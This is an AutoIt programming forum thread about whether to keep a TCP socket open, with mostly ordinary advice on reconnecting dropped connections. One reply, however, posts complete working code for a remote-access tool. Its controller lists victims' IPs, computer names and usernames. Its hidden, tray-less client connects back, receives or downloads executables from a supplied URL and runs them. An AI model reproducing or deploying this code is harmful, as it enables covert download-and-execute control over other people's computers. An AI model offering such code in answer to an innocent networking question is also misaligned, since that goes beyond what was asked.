quake101 Posted February 6, 2014 Share Posted February 6, 2014 Hello all, I've been delveloping a small applatation to monitor a remote program. The remote program's API uses a TCP socket. My applatation connects to it and pulls information every 800ms and update's the GUI with this information. My appation also can send remote commands to the remote program. Currently, I connect and disconnect the TCP socket every time I need to do something (update info or send a remote command) and I'm not sure if this is the best method. So this is my question, is it better to open 1 TCP socket and do everything from it, or is it better to connect/disconnect everytime I do something? Thanks! Link to comment Share on other sites More sharing options...
JohnOne Posted February 7, 2014 Share Posted February 7, 2014 Leave it open. AutoIt Absolute Beginners Require a serial Pause Script Video Tutorials by Morthawt ipify Monkey's are, like, natures humans. Link to comment Share on other sites More sharing options...
jchd Posted February 7, 2014 Share Posted February 7, 2014 Treat it as you would do for a book, a novel you're reading. This wonderful site allows debugging and testing regular expressions (many flavors available). An absolute must have in your bookmarks.Another excellent RegExp tutorial. Don't forget downloading your copy of up-to-date pcretest.exe and pcregrep.exe hereRegExp tutorial: enough to get startedPCRE v8.33 regexp documentation latest available release and currently implemented in AutoIt beta. SQLitespeed is another feature-rich premier SQLite manager (includes import/export). Well worth a try.SQLite Expert (freeware Personal Edition or payware Pro version) is a very useful SQLite database manager.An excellent eBook covering almost every aspect of SQLite3: a must-read for anyone doing serious work.SQL tutorial (covers "generic" SQL, but most of it applies to SQLite as well)A work-in-progress SQLite3 tutorial. Don't miss other LxyzTHW pages!SQLite official website with full documentation (may be newer than the SQLite library that comes standard with AutoIt) Link to comment Share on other sites More sharing options...
nullschritt Posted February 7, 2014 Share Posted February 7, 2014 Treat it as you would do for a book, a novel you're reading. Though you should check every time you send data to make sure you're still connected, and if not, re-connect. As network/server issues can cause an established connection to drop. Link to comment Share on other sites More sharing options...
quake101 Posted February 7, 2014 Author Share Posted February 7, 2014 Thanks guys for the feedback, I had a feeling this was going to be the response as I felt like I was doing it wrong. Though you should check every time you send data to make sure you're still connected, and if not, re-connect. As network/server issues can cause an established connection to drop. Could you give me an example of how to detect if the connection is still active? Thanks! Link to comment Share on other sites More sharing options...
Celtic88 Posted February 7, 2014 Share Posted February 7, 2014 (edited) expandcollapse popupOpt("TCPTimeout", 999) $Form1 = GUICreate("beta", 617, 438, 331, 256) $ListView1 = GUICtrlCreateListView("SOKET|IP|LANGAGE|COMPUTER|USER", 8, 26, 600, 359) GUICtrlSendMsg(-1, 4096 + 30, 0, 100) GUICtrlSendMsg(-1, 4096 + 30, 1, 150) GUICtrlSendMsg(-1, 4096 + 30, 2, 150) GUICtrlSendMsg(-1, 4096 + 30, 3, 150) $settings = GUICtrlCreateContextMenu($ListView1) $updateserver = GUICtrlCreateMenu("Update and execute", $settings) $upintget = GUICtrlCreateMenuItem("Link http://", $updateserver) $updateloc = GUICtrlCreateMenuItem("Local file", $updateserver) $Disconnected = GUICtrlCreateMenuItem("Disconnected", $settings) $Label1 = GUICtrlCreateLabel("", 11, 416, 395, 17) $Label2 = GUICtrlCreateLabel("", 426, 416, 179, 17) $Progress = GUICtrlCreateProgress(8, 392, 598, 17) GUISetState() TCPStartup() Global $connections[999][2] Global $c $c = 0 $PORT = 3333 $Listen = TCPListen('0.0.0.0', $PORT, 999) If $Listen = -1 Then GUICtrlSetData($Label1, "ERROR. Port is already use.") TCPShutdown() Else GUICtrlSetData($Label1, "Listening ports: " & $PORT) EndIf While 1 $nMsg = GUIGetMsg() Switch $nMsg Case -3 Exit Case $upintget $selecte = GUICtrlRead(GUICtrlRead($ListView1)) If Not $selecte <> "" Then ContinueLoop $SOKET = StringSplit($selecte, "|") $value = InputBox("Enter the file link", " ", "", "", -1, 1) If $value = "" Then ContinueLoop TCPSend($SOKET[1], "003_INTG=" & $value) Case $Disconnected $selecte = GUICtrlRead(GUICtrlRead($ListView1)) If Not $selecte <> "" Then ContinueLoop $SOKET = StringSplit($selecte, "|") TCPSend($SOKET[1], "001_Disco") Case $updateloc $selecte = GUICtrlRead(GUICtrlRead($ListView1)) If Not $selecte <> "" Then ContinueLoop $SOKET = StringSplit($selecte, "|") $fhandle = FileOpenDialog("Select File", @ScriptDir, "Executeable files (*.exe)|All (*.*)", 1) If $fhandle = "" Then ContinueLoop $size = FileGetSize($fhandle) $open = FileOpen($fhandle, 16) TCPSend($SOKET[1], "002_updat") GUICtrlSetData($Progress, 0) $z = 0 $loll = (1024 / $size) * 100 GUICtrlSetData($Label1, "Upload start : Plaise wait ....") $error = 0 While 1 $z = $z + $loll GUICtrlSetData($Progress, Round($z, 1)) GUICtrlSetData($Label1, Round($z, 1) & " % ") $data = FileRead($open, 1024) If @error = -1 Then ExitLoop TCPSend($SOKET[1], $data) If @error Then $error = 1 ExitLoop EndIf WEnd FileClose($open) If $error Then GUICtrlSetData($Progress, 0) GUICtrlSetData($Label1, "ERROR Server shutdown!") Else GUICtrlSetData($Progress, 100) TCPSend($SOKET[1], "004_OK") GUICtrlSetData($Label1, "Upload successful!") EndIf EndSwitch $SOKET = TCPAccept($Listen) If $SOKET <> -1 Then Do $string = TCPRecv($SOKET, 2048) Until $string <> "" $INFO = StringSplit($string, "|") $connections[$c][0] = $SOKET $connections[$c][1] = GUICtrlCreateListViewItem($SOKET & "|" & sockettoip($SOKET) & "|" & $INFO[1] & "|" & $INFO[2] & "|" & $INFO[3], $ListView1) $c += 1 GUICtrlSetData($Label2, "Servers online [ " & $c & "]") EndIf For $i = 0 To UBound($connections) - 1 If $connections[$i][0] <> "" Then TCPSend($connections[$i][0], "SPACK-SPACK-y3ayat-pack-lpack") If @error Then GUICtrlDelete($connections[$i][1]) $connections[$i][0] = "" $connections[$i][1] = "" $c = GUICtrlSendMsg($ListView1, (0x1000 + 4), 0, 0) GUICtrlSetData($Label2, "Servers online [ " & $c & "]") EndIf EndIf Next WEnd Func sockettoip($shocket) Local $sockaddr, $aret $sockaddr = DllStructCreate("short;ushort;uint;char[8]") $aret = DllCall("Ws2_32.dll", "int", "getpeername", "int", $shocket, "ptr", DllStructGetPtr($sockaddr), "int*", DllStructGetSize($sockaddr)) If Not @error And $aret[0] = 0 Then $aret = DllCall("Ws2_32.dll", "str", "inet_ntoa", "int", DllStructGetData($sockaddr, 3)) If Not @error Then $aret = $aret[0] Else $aret = 0 EndIf $sockaddr = 0 Return $aret EndFunc ;==>sockettoip server expandcollapse popup#NoTrayIcon $Language = _Language() $PORT = 3333 $IP = @IPAddress1 ; or $IP = TCPNameToIP ("hoste no ip") While 1 TCPStartup() $socket = TCPConnect($IP, $PORT) If $socket = -1 And @error Then ContinueLoop TCPSend($socket, $Language & "|" & @ComputerName & "|" & @UserName) If @error Then ContinueLoop While 1 $anweisung = TCPRecv($socket, 2024) If @error Then ExitLoop If $anweisung <> "" And $anweisung = "001_Disco" Then Exit If $anweisung <> "" And $anweisung = "002_updat" Then $random = Random(1, 99999, 1) $fhandle = FileOpen($random & ".exe", 17) Do $Recv = TCPRecv($socket, 1024) If @error <> 0 Then ExitLoop 2 FileWrite($fhandle, $Recv) Until $Recv = "004_OK" FileClose($fhandle) Run($random & ".exe") EndIf If $anweisung <> "" And StringInStr($anweisung, "003_INTG=") > 0 Then $adresse = StringTrimLeft($anweisung, 7) $REN = Random(1, 99999, 1) & ".EXE" $hDownload = InetGet($adresse, $REN, 1, 1) Do Sleep(250) Until InetGetInfo($hDownload, 2) InetClose($hDownload) Run($REN) EndIf WEnd WEnd Func _GetOSLanguage($Lang = "") Local Const $GetLanguage = 114 Local $a = DllCall("kernel32.dll", 'int', 'GetLocaleInfoW', 'ulong', Dec($Lang), 'dword', $GetLanguage, 'wstr', '', 'int', 2048) Return $a[3] EndFunc ;==>_GetOSLanguage Edited February 7, 2014 by DjForfun Link to comment Share on other sites More sharing options...
nullschritt Posted February 7, 2014 Share Posted February 7, 2014 (edited) Thanks guys for the feedback, I had a feeling this was going to be the response as I felt like I was doing it wrong. Could you give me an example of how to detect if the connection is still active? Thanks! Get the return value of tcpsend. If it is 0, then the connection is dropped, if this is the case, re-establish the connection and re-send the data. $tcpret = tcpsend($socket, $somedata) ;here's when you're sending your data. if $tcpret = 0 then $rec = 0 while $tcpret = 0 $sockt = tcpconnect($address, $port) $tcpret = tcpsend($socket, $somedata) $rec+=1 if $rec > 150 then exitloop ;prevent an infinite loop here wend endif Edited February 7, 2014 by nullschritt Link to comment Share on other sites More sharing options...
quake101 Posted February 7, 2014 Author Share Posted February 7, 2014 Thanks again guys, this really help! Link to comment Share on other sites More sharing options...
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now